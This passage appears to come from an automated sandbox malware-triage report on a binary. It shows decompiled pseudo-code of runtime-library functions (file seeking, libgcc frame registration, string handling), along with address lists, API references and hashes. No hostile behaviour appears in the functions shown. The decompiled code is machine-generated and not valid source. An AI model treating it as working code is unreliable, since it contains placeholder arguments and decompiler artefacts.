												L004476E0();
												_t144 = _v40;
												__eflags = _v56 ^ _t154 | _v60 ^ _t129;
												if((_v56 ^ _t154 | _v60 ^ _t129) != 0) {
													_v64 = 0;
													 *_t199 = _t197;
													_v40 = _t144;
													_v72 = _v60;
													_v68 = _v56;
													L004476E0();
													__eflags = _v36 - 0x200;
													_t145 = _v40;
													if(_v36 > 0x200) {
														L33:
														_t131 =  *((intOrPtr*)(_t135 + 0x18));
													} else {
														_t131 = 0x200;
														__eflags = ( *(_t135 + 0xc) & 0x00000408) - 8;
														if(( *(_t135 + 0xc) & 0x00000408) != 8) {
															goto L33;
														}
													}
													_t159 =  *((intOrPtr*)(__imp____pioinfo + _v32 * 4));
													__eflags =  *(_t159 + _t145 + 4) & 0x00000004;
													if(( *(_t159 + _t145 + 4) & 0x00000004) != 0) {
														_t131 = _t131 + 1;
													}
													goto L12;
												} else {
													_t146 =  *((intOrPtr*)(_t135 + 8));
													_t193 = _v36;
													_t179 = _t146 + _t193;
													__eflags = _t146 - _t179;
													if(_t146 < _t179) {
														_t198 = _t135;
														do {
															__eflags =  *_t146 - 0xa;
															_t146 = _t146 + 1;
															_t193 = _t193 + (0 | __eflags == 0x00000000);
															__eflags = _t179 - _t146;
														} while (_t179 != _t146);
														_v36 = _t193;
														_t135 = _t198;
													}
													__eflags =  *(_t135 + 0xd) & 0x00000020;
													_t147 = _v36;
													if(( *(_t135 + 0xd) & 0x00000020) != 0) {
														_t147 = _t147 + 1;
														__eflags = _t147;
													}
													asm("sbb edx, ebx");
													asm("adc edi, edx");
													_v60 = _v52 + _t129 - _t147;
													_v56 = _v48;
												}
											} else {
												_t131 = _t186;
												L12:
												asm("sbb edi, edx");
												asm("adc edi, [esp+0x1c]");
												_v60 = _v60 - _t131 + _v52;
											}
										}
										L19:
										return _v60;
									}
								}
							}
						}
					}
				}
			}

0x0043e230
0x0043e234
0x0043e237
0x0043e23b
0x0043e240
0x0043e246
0x0043e249
0x0043e24e
0x0043e250
0x0043e255
0x0043e257
0x0043e257
0x0043e25e
0x0043e266
0x0043e26e
0x0043e276
0x0043e279
0x0043e280
0x0043e284
0x0043e288
0x0043e4b3
0x0043e4bb
0x00000000
0x0043e28e
0x0043e28e
0x0043e297
0x0043e3c3
0x0043e3c4
0x0043e3c8
0x00000000
0x0043e29d
0x0043e29d
0x0043e29f
0x0043e2a4
0x0043e2ad
0x0043e2b1
0x0043e36d
0x0043e36f
0x0043e373
0x0043e377
0x0043e37b
0x0043e381
0x0043e385
0x0043e387
0x00000000
0x0043e38d
0x0043e38f
0x0043e393
0x0043e395
0x0043e397
0x0043e3a0
0x0043e3a2
0x0043e3a8
0x0043e3ab
0x0043e3ad
0x0043e3ad
0x0043e3b1
0x0043e3b5
0x0043e3b9
0x0043e3b9
0x0043e387
0x00000000
0x0043e2b7
0x0043e2ba
0x0043e530
0x0043e535
0x0043e53d
0x0043e543
0x00000000
0x0043e2c0
0x0043e2c0
0x0043e2c4
0x0043e2c8
0x0043e2d4
0x0043e3e4
0x0043e3f0
0x0043e3ff
0x0043e2da
0x0043e2da
0x0043e2dd
0x0043e406
0x0043e406
0x0043e406
0x0043e40a
0x0043e41d
0x0043e2e3
0x0043e2e3
0x0043e2e8
0x0043e2ee
0x0043e2f4
0x0043e2fc
0x0043e2ff
0x0043e303
0x0043e305
0x0043e311
0x0043e31c
0x0043e325
0x0043e32d
0x0043e420
0x0043e428
0x0043e430
0x0043e438
0x0043e43b
0x0043e43f
0x0043e44c
0x0043e454
0x0043e456
0x0043e4d0
0x0043e4d8
0x0043e4db
0x0043e4df
0x0043e4e3
0x0043e4e7
0x0043e4ec
0x0043e4f4
0x0043e4f8
0x0043e50d
0x0043e50d
0x0043e4fa
0x0043e4fd
0x0043e508
0x0043e50b
0x00000000
0x00000000
0x0043e50b
0x0043e51a
0x0043e51d
0x0043e522
0x0043e528
0x0043e528
0x00000000
0x0043e458
0x0043e458
0x0043e45b
0x0043e45f
0x0043e462
0x0043e464
0x0043e466
0x0043e470
0x0043e472
0x0043e478
0x0043e47b
0x0043e47d
0x0043e47d
0x0043e481
0x0043e485
0x0043e485
0x0043e487
0x0043e48b
0x0043e48f
0x0043e491
0x0043e491
0x0043e491
0x0043e4a0
0x0043e4a4
0x0043e4a6
0x0043e4aa
0x0043e4aa
0x0043e333
0x0043e333
0x0043e335
0x0043e341
0x0043e347
0x0043e34b
0x0043e34f
0x0043e32d
0x0043e3cc
0x0043e3db
0x0043e3db
0x0043e2dd
0x0043e2d4
0x0043e2ba
0x0043e2b1
0x0043e297

APIs

_errno.MSVCRT ref: 0043E23B
_fileno.MSVCRT ref: 0043E249
_lseeki64.MSVCRT ref: 0043E279

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID: _errno_fileno_lseeki64
String ID:
API String ID: 1152433503-0
Opcode ID: 5966e81e6079d67c2aa8c6dd58117d3b8a3c73dd3d3447e19a188595a4295b02
Instruction ID: f30952fa6c1ce67dbd4a779fc52d55077e5c80eb351a1dd6ebcf5903c5c5b2e2
Opcode Fuzzy Hash: 5966e81e6079d67c2aa8c6dd58117d3b8a3c73dd3d3447e19a188595a4295b02
Instruction Fuzzy Hash: DF915CB16093018FD700CF1AD48070BBBE1BFC8764F198A5EE8989B391D375E909CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0043C370 Relevance: 9.1, APIs: 6, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7a5e3f5ecad8f673199b5760a0d972a4812ea31979d01f1567758d1a639a868
Instruction ID: 5ed44c4bce05a06bd1ac822247836ce3701758c6eb0a6924ce6fa06692f651f3
Opcode Fuzzy Hash: d7a5e3f5ecad8f673199b5760a0d972a4812ea31979d01f1567758d1a639a868
Instruction Fuzzy Hash: B2419370204310CBDB20DF38E9D472B77E4BB68319F14912AEC559B391DB39E809DB66

Uniqueness

Uniqueness Score: -1.00%

Function 0043B0B0 Relevance: 9.1, APIs: 6, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E0043B0B0(void* __eax, void* __ebx, void* __edx, void* __edi, void* __esi, char _a4) {
				intOrPtr _v0;
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				intOrPtr _v24;
				intOrPtr _v80;
				intOrPtr _v84;
				char _v156;
				char _v284;
				char _v288;
				intOrPtr _v312;
				char* _v356;
				void* _t32;
				void* _t34;
				struct HINSTANCE__* _t35;
				struct HINSTANCE__* _t38;
				_Unknown_base(*)()* _t39;
				void* _t42;
				CHAR* _t46;
				struct HINSTANCE__* _t48;
				CHAR* _t59;
				intOrPtr _t61;
				void* _t66;
				void* _t71;
				intOrPtr _t72;
				_Unknown_base(*)()* _t73;
				void* _t77;
				void* _t81;
				intOrPtr* _t83;
				char** _t84;
				char** _t85;
				struct HINSTANCE__** _t87;
				struct HINSTANCE__** _t88;

				_t77 = _t81;
				_t71 =  &_v284;
				_t46 =  &_v156;
				_push(__edx);
				_push(__eax);
				E0043A660( &_v284, _v0,  &_a4);
				_t59 = _t46;
				_t32 = memcpy(_t46, _t71, 0x20 << 2);
				_t83 = _t81 - 0x124 + 0xc;
				_t66 = _t71 + 0x40;
				_t9 = _t32 + 0xc; // 0x90909090
				_t72 =  *_t9;
				if(_t72 != 0) {
					_t34 = L0043A990(_a4,  &_v288, _t59);
				} else {
					__eax = L0043A8C0(__eax, __ecx, __edx);
				}
				if(_t34 != 7) {
					abort();
					abort();
					abort();
					abort();
					abort();
					abort();
					_push(_t77);
					_push(_t66);
					_push(_t72);
					_t84 = _t83 - 0x1c;
					 *_t84 = "libgcc_s_dw2-1.dll";
					_t35 = GetModuleHandleA(_t46);
					_t85 = _t84 - 4;
					if(_t35 == 0) {
						 *0x4ce004 = 0x43c7d0;
						_t73 = E0043C580;
					} else {
						_t48 = _t35;
						 *_t85 = "libgcc_s_dw2-1.dll";
						_t38 = LoadLibraryA(??);
						_t87 = _t85 - 4;
						 *0x556df0 = _t38;
						_v356 = "__register_frame_info";
						 *_t87 = _t48;
						_t39 = GetProcAddress(??, ??);
						_t88 = _t87 - 8;
						_t73 = _t39;
						_v356 = "__deregister_frame_info";
						 *_t88 = _t48;
						 *0x4ce004 = GetProcAddress(??, ??);
						_t85 = _t88 - 8;
					}
					if(_t73 != 0) {
						_v356 = 0x55601c;
						 *_t85 = 0x5190f8;
						 *_t73();
					}
					 *_t85 = 0x401590;
					return E004014C0();
				} else {
					_t42 = L0043AAC0( &_v284, _t46);
					_t61 = _v80;
					_v312 = _t61;
					 *_t83 = _v84;
					 *((intOrPtr*)(_t77 + L0043AEA0(_t42) + 4)) = _t61;
					return _v24;
				}
			}

0x0043b0b1
0x0043b0b5
0x0043b0bc
0x0043b0c2
0x0043b0c8
0x0043b0d8
0x0043b0e5
0x0043b0e7
0x0043b0e7
0x0043b0e7
0x0043b0ef
0x0043b0ef
0x0043b0f4
0x0043b145
0x0043b0f6
0x0043b0f6
0x0043b0f6
0x0043b0fe
0x004c5e8e
0x004c5e93
0x004c5e98
0x004c5ea0
0x004c5ea5
0x004c5eaa
0x004014e0
0x004014e3
0x004014e4
0x004014e6
0x004014e9
0x004014f0
0x004014f6
0x004014fb
0x00401570
0x0040157a
0x004014fd
0x004014fd
0x004014ff
0x00401506
0x00401512
0x00401515
0x0040151a
0x00401522
0x00401525
0x00401527
0x0040152a
0x0040152c
0x00401534
0x00401539
0x0040153e
0x0040153e
0x00401543
0x00401545
0x0040154d
0x00401554
0x00401554
0x00401556
0x00401569
0x0043b104
0x0043b10c
0x0043b111
0x0043b117
0x0043b11b
0x0043b125
0x0043b141
0x0043b141

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e06e255c70956b6c13ac4053298b0cb7bbce95fa53f25e41bcf6503f72095377
Instruction ID: 4139822a8f19cd5f22705356c74f0f517f84c2c15412881ab261e2cd97e70528
Opcode Fuzzy Hash: e06e255c70956b6c13ac4053298b0cb7bbce95fa53f25e41bcf6503f72095377
Instruction Fuzzy Hash: 0111AC3190012C9BCB14EFA5C4829DEB7B5EF89314F11C86EED0967301DB34AE468AA6

Uniqueness

Uniqueness Score: -1.00%

Function 0043E179 Relevance: 9.1, APIs: 6, Instructions: 55COMMON

Download Yara Rule

APIs

fsetpos.MSVCRT ref: 0043E1B8
fgetpos.MSVCRT ref: 0043E1D0
fflush.MSVCRT ref: 0043E1EA
_fileno.MSVCRT ref: 0043E1F2
_filelengthi64.MSVCRT ref: 0043E1FA
_errno.MSVCRT ref: 0043E214

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID: _errno_filelengthi64_filenofflushfgetposfsetpos
String ID:
API String ID: 4183758535-0
Opcode ID: 788e330103f0638230c2870e7c1c6a010cc981ca3567e9d1ddea8b5171ab05cf
Instruction ID: a72ae37983a4169e0fddfd6bd1cfdf7de6d279ad26530d27d5d3d4c21d5c6adc
Opcode Fuzzy Hash: 788e330103f0638230c2870e7c1c6a010cc981ca3567e9d1ddea8b5171ab05cf
Instruction Fuzzy Hash: 20115EB15097018BC710AF2A848001BBBE5FFD93A4F165D1FF4A443391D33999458B86

Uniqueness

Uniqueness Score: -1.00%

Function 004342F0 Relevance: 7.8, APIs: 4, Strings: 1, Instructions: 263
stringCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E004342F0(signed char* __eax, signed char* __ebx, signed char __ebp, intOrPtr _a4, signed int _a8, signed int _a24, signed int _a28, intOrPtr _a32, signed char* _a36, int _a52, char _a64) {
				int _t133;
				signed int _t140;
				signed int _t142;
				signed int _t147;
				signed int _t156;
				signed char _t157;
				signed int _t160;
				signed int _t162;
				signed int _t164;
				signed int _t165;
				signed char* _t179;
				signed int _t181;
				signed int _t185;
				signed int _t187;
				void* _t194;
				signed int _t199;
				signed char _t200;
				void* _t202;
				intOrPtr _t211;
				signed char* _t216;
				intOrPtr _t217;
				signed int _t219;
				signed int _t221;
				intOrPtr _t223;
				signed char* _t225;
				intOrPtr _t227;
				intOrPtr _t230;
				intOrPtr _t234;
				signed int _t236;
				signed char* _t237;
				signed int _t239;
				signed char* _t240;
				signed char _t243;
				signed char* _t245;
				signed char** _t247;

				_t243 = __ebp;
				_t179 = __ebx;
				_a4 = "ad";
				 *_t247 = __eax;
				_a36 = __eax;
				_t133 = strcmp(??, ??);
				_t209 = _a28;
				_t194 =  *_a28;
				if(_t133 != 0) {
					L4:
					__eflags = _t194 - 0x38;
					if(_t194 == 0x38) {
						L00436B90(_t179,  *((intOrPtr*)(_a28 + 8)), _a24);
						L00436AF0(_t179, _a32, _a24);
						_t211 = _a4;
						_t133 = _a52;
						_t130 = _t211 - 1; // 0x510444
						_t234 = _t130;
						_t209 = _t179[0x11c] - 1;
						goto L1;
					}
					goto L5;
				} else {
					__eflags = __edx - 3;
					if(__edx == 3) {
						__eax =  *((intOrPtr*)(__edi + 8));
						__eflags =  *__eax - 1;
						if( *__eax == 1) {
							__edx =  *((intOrPtr*)(__edi + 0xc));
							__eflags =  *__edx - 0x29;
							__eax =  !=  ? __edi : __eax;
							_a28 = __eax;
						}
						L5:
						_a4 = "sZ";
						 *_t247 = _a36;
						_t140 = strcmp(??, ??);
						_t236 = _t140;
						__eflags = _t140;
						if(__eflags == 0) {
							_t142 = E0042E510(_t179, _a28);
							__eflags = _t142;
							if(_t142 != 0) {
								while(1) {
									__eflags =  *_t142 - 0x2f;
									if( *_t142 != 0x2f) {
										break;
									}
									__eflags =  *(_t142 + 8);
									if( *(_t142 + 8) == 0) {
										break;
									}
									_t142 =  *(_t142 + 0xc);
									_t236 = _t236 + 1;
									__eflags = _t142;
									if(_t142 == 0) {
										break;
									}
								}
								L40:
								_a8 = _t236;
								_t237 =  &_a64;
								_a4 = "%d";
								 *_t247 = _t237;
								sprintf(??, ??);
								asm("repne scasb");
								_t147 =  !(_t181 | 0xffffffff) - 1;
								__eflags = _t147;
								_t216 =  &(_t237[_t147]);
								if(_t147 == 0) {
									L46:
									_t217 = _a4;
									_t133 = _a52;
									_t122 = _t217 - 1; // 0xfe
									_t234 = _t122;
									_t209 = _t179[0x11c] - 1;
									goto L1;
								}
								_a24 = _t243;
								_t245 = _t216;
								do {
									__eflags = _t179[0x100] - 0xff;
									_t219 =  *_t237 & 0x000000ff;
									if(_t179[0x100] == 0xff) {
										_t179[0xff] = 0;
										_a4 = 0xff;
										_a8 = _t179[0x10c];
										 *_t247 = _t179;
										_t179[0x108]();
										_t111 =  &(_t179[0x128]);
										 *_t111 = _t179[0x128] + 1;
										__eflags =  *_t111;
										_t179[0x100] = 0;
									}
									_t148 = _t179[0x100];
									_t237 =  &(_t237[1]);
									_t115 = _t148 + 1; // 0x1
									_t179[0x100] = _t115;
									_t199 = _t219;
									_t179[_t179[0x100]] = _t199;
									_t179[0x104] = _t199;
									__eflags = _t245 - _t237;
								} while (_t245 != _t237);
								goto L46;
							}
							goto L40;
						}
						_t185 = 3;
						asm("repe cmpsb");
						asm("sbb al, 0x0");
						if(__eflags == 0) {
							_t239 = 0;
							_t221 = _a28;
							while(1) {
								__eflags =  *_t221 - 0x2f;
								if( *_t221 != 0x2f) {
									break;
								}
								_t160 =  *(_t221 + 8);
								__eflags = _t160;
								if(_t160 == 0) {
									break;
								}
								__eflags =  *_t160 - 0x4a;
								if( *_t160 != 0x4a) {
									_t239 = _t239 + 1;
									__eflags = _t239;
									L17:
									_t221 =  *(_t221 + 0xc);
									__eflags = _t221;
									if(_t221 == 0) {
										break;
									}
									continue;
								}
								_t162 = E0042E510(_t179,  *((intOrPtr*)(_t160 + 8)));
								_t202 = 0;
								__eflags = _t162;
								if(_t162 != 0) {
									while(1) {
										__eflags =  *_t162 - 0x2f;
										if( *_t162 != 0x2f) {
											break;
										}
										_t185 =  *(_t162 + 8);
										__eflags = _t185;
										if(_t185 == 0) {
											break;
										}
										_t162 =  *(_t162 + 0xc);
										_t202 = _t202 + 1;
										__eflags = _t162;
										if(_t162 == 0) {
											break;
										}
									}
									L26:
									_t239 = _t239 + _t202;
									goto L17;
								}
								goto L26;
							}
							_a8 = _t239;
							_t240 =  &_a64;
							_a4 = "%d";
							 *_t247 = _t240;
							sprintf(??, ??);
							asm("repne scasb");
							_t156 =  !(_t185 | 0xffffffff) - 1;
							__eflags = _t156;
							if(_t156 == 0) {
								L32:
								_t223 = _a4;
								_t133 = _a52;
								_t92 = _t223 - 1; // 0x5102a6
								_t234 = _t92;
								_t209 = _t179[0x11c] - 1;
								goto L1;
							}
							_t200 = _t179[0x100];
							_t225 =  &(_t240[_t156]);
							do {
								_t187 =  *_t240 & 0x000000ff;
								_t157 = _t200;
								__eflags = _t200 - 0xff;
								if(_t200 == 0xff) {
									_t179[0xff] = 0;
									_a24 = _t187;
									_a8 = _t179[0x10c];
									_a4 = 0xff;
									 *_t247 = _t179;
									_t179[0x108]();
									_t179[0x128] = _t179[0x128] + 1;
									_t187 = _a24 & 0x000000ff;
									_t157 = 0;
									__eflags = 0;
								}
								_t200 = _t157 + 1;
								_t240 =  &(_t240[1]);
								_t179[0x100] = _t200;
								_t179[_t157] = _t187;
								_t179[0x104] = _t187;
								__eflags = _t225 - _t240;
							} while (_t225 != _t240);
							goto L32;
						} else {
							_t164 = L00436AF0(_t179, _a32, _a24);
							asm("repe cmpsb");
							_t165 = _t164 & 0xffffff00 | __eflags > 0x00000000;
							asm("sbb al, 0x0");
							__eflags = _t165;
							if(__eflags == 0) {
								L00430EB0(_t179, _a28, _a24);
								_t227 = _a4;
								_t133 = _a52;
								_t64 = _t227 - 1; // 0x510447
								_t234 = _t64;
								_t209 = _t179[0x11c] - 1;
							} else {
								asm("repe cmpsb");
								asm("sbb al, 0x0");
								if(__eflags != 0) {
									L00436B90(_t179, _a28, _a24);
									_t230 = _a4;
									_t133 = _a52;
									_t11 = _t230 - 1; // 0x510447
									_t234 = _t11;
									_t209 = _t179[0x11c] - 1;
								} else {
									__eflags = _t179[0x100] - 0xff;
									if(_t179[0x100] == 0xff) {
										_t179[0xff] = 0;
										_a4 = 0xff;
										_a8 = _t179[0x10c];
										 *_t247 = _t179;
										_t179[0x108]();
										_t32 =  &(_t179[0x128]);
										 *_t32 = _t179[0x128] + 1;
										__eflags =  *_t32;
										_t179[0x100] = 0;
									}
									_t37 = _t179[0x100] + 1; // 0x100
									_t179[0x100] = _t37;
									_t179[_t179[0x100]] = 0x28;
									_t179[0x104] = 0x28;
									L00430EB0(_t179, _a28, _a24);
									__eflags = _t179[0x100] - 0xff;
									if(_t179[0x100] == 0xff) {
										_t179[0xff] = 0;
										_a4 = 0xff;
										_a8 = _t179[0x10c];
										 *_t247 = _t179;
										_t179[0x108]();
										_t48 =  &(_t179[0x128]);
										 *_t48 = _t179[0x128] + 1;
										__eflags =  *_t48;
										_t179[0x100] = 0;
									}
									_t52 = _t179[0x100] + 1; // 0x100
									_t179[0x100] = _t52;
									_t179[_t179[0x100]] = 0x29;
									_t133 = _a52;
									_t179[0x104] = 0x29;
									_t58 = _a4 - 1; // 0x510447
									_t234 = _t58;
									_t209 = _t179[0x11c] - 1;
								}
							}
							goto L1;
						}
					}
					goto L4;
				}
				L1:
				_t179[0x12c] = _t133;
				_a4 = _t234;
				_t179[0x11c] = _t209;
				return _t133;
			}

0x004342f0
0x004342f0
0x004342f0
0x004342f8
0x004342fb
0x004342ff
0x00434304
0x00434308
0x0043430c
0x00434317
0x00434317
0x0043431a
0x004354d7
0x004354e4
0x004354e9
0x004354ec
0x004354f0
0x004354f0
0x004354f9
0x00000000
0x004354f9
0x00000000
0x0043430e
0x0043430e
0x00434311
0x004353ca
0x004353cd
0x004353d0
0x004353d6
0x004353d9
0x004353dc
0x004353df
0x004353df
0x00434320
0x00434324
0x0043432c
0x0043432f
0x00434334
0x00434336
0x00434338
0x004353ee
0x004353f3
0x004353f5
0x00435411
0x00435411
0x00435414
0x00000000
0x00000000
0x00435403
0x00435405
0x00000000
0x00000000
0x00435407
0x0043540a
0x0043540d
0x0043540f
0x00000000
0x00000000
0x0043540f
0x00435416
0x00435416
0x0043541a
0x0043541e
0x00435428
0x0043542b
0x00435435
0x0043543b
0x0043543b
0x0043543e
0x00435441
0x004354b0
0x004354b0
0x004354b3
0x004354b7
0x004354b7
0x004354c0
0x00000000
0x004354c0
0x00435443
0x00435447
0x00435449
0x00435449
0x00435453
0x00435456
0x0043545e
0x00435465
0x0043546d
0x00435471
0x00435474
0x0043547a
0x0043547a
0x0043547a
0x00435481
0x00435481
0x0043548b
0x00435491
0x00435494
0x00435497
0x0043549d
0x0043549f
0x004354a2
0x004354a8
0x004354a8
0x00000000
0x004354ac
0x00000000
0x004353f7
0x00434347
0x0043434c
0x00434351
0x00434355
0x00434e6a
0x00434e6c
0x00434e7c
0x00434e7c
0x00434e7f
0x00000000
0x00000000
0x00434e81
0x00434e84
0x00434e86
0x00000000
0x00000000
0x00434e88
0x00434e8b
0x00434e72
0x00434e72
0x00434e75
0x00434e75
0x00434e78
0x00434e7a
0x00000000
0x00000000
0x00000000
0x00434e7a
0x00434e92
0x00434e97
0x00434e99
0x00434e9b
0x00434eb1
0x00434eb1
0x00434eb4
0x00000000
0x00000000
0x00434ea0
0x00434ea3
0x00434ea5
0x00000000
0x00000000
0x00434ea7
0x00434eaa
0x00434ead
0x00434eaf
0x00000000
0x00000000
0x00434eaf
0x00434eb6
0x00434eb6
0x00000000
0x00434eb6
0x00000000
0x00434e9d
0x00434eba
0x00434ebe
0x00434ec2
0x00434ecc
0x00434ecf
0x00434ed9
0x00434edf
0x00434edf
0x00434ee2
0x00434f47
0x00434f47
0x00434f4a
0x00434f4e
0x00434f4e
0x00434f57
0x00000000
0x00434f57
0x00434ee4
0x00434eea
0x00434eed
0x00434eed
0x00434ef0
0x00434ef2
0x00434ef8
0x00434f00
0x00434f07
0x00434f0b
0x00434f0f
0x00434f17
0x00434f1a
0x00434f20
0x00434f27
0x00434f2c
0x00434f2c
0x00434f2c
0x00434f2e
0x00434f31
0x00434f34
0x00434f3a
0x00434f3d
0x00434f43
0x00434f43
0x00000000
0x0043435b
0x0043436a
0x00434378
0x0043437a
0x0043437d
0x0043437f
0x00434381
0x00434b7b
0x00434b80
0x00434b83
0x00434b87
0x00434b87
0x00434b90
0x00434387
0x00434395
0x0043439a
0x0043439e
0x00431a9b
0x00431aa0
0x00431aa3
0x00431aa7
0x00431aa7
0x00431ab0
0x004343a4
0x004343a4
0x004343ae
0x004343b6
0x004343bd
0x004343c5
0x004343c9
0x004343cc
0x004343d2
0x004343d2
0x004343d2
0x004343d9
0x004343d9
0x004343ed
0x004343f0
0x004343fa
0x00434400
0x00434407
0x0043440c
0x00434416
0x0043441e
0x00434425
0x0043442d
0x00434431
0x00434434
0x0043443a
0x0043443a
0x0043443a
0x00434441
0x00434441
0x00434451
0x00434454
0x0043445a
0x0043445e
0x00434462
0x0043446c
0x0043446c
0x00434475
0x00434475
0x0043439e
0x00000000
0x00434381
0x00434355
0x00000000
0x00434311
0x004310b1
0x004310b1
0x004310b7
0x004310ba
0x004310ca

APIs

strcmp.MSVCRT ref: 004342FF
strcmp.MSVCRT ref: 0043432F

Strings

), xrefs: 00434462

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID: strcmp
String ID: )
API String ID: 1004003707-2427484129
Opcode ID: 549e92e5dfacbbc30a4c2e5be60719b29b50c411476bfa742be2cd9d17df0e6b
Instruction ID: 19e2336ea39495339de32496ff281e65833b9911bcc52977ffa26b7ef6a943cf
Opcode Fuzzy Hash: 549e92e5dfacbbc30a4c2e5be60719b29b50c411476bfa742be2cd9d17df0e6b
Instruction Fuzzy Hash: 06C13C31608202CBCB10CF28C4846AAB7E1BF99314F19957AEC895B356D779E885CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00437409 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 94
stringCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E00437409(void* __eax, signed char* __ebx) {
				signed int _t139;
				intOrPtr _t141;
				signed int _t146;
				signed int _t155;
				signed int _t160;
				void* _t169;
				signed int _t173;
				signed int _t177;
				int _t184;
				signed int _t186;
				signed char* _t190;
				signed int _t194;
				signed char* _t197;
				signed int _t198;
				signed int _t203;
				signed char* _t204;
				signed int _t206;
				signed char* _t210;
				signed char _t213;
				signed int _t214;
				signed int _t218;
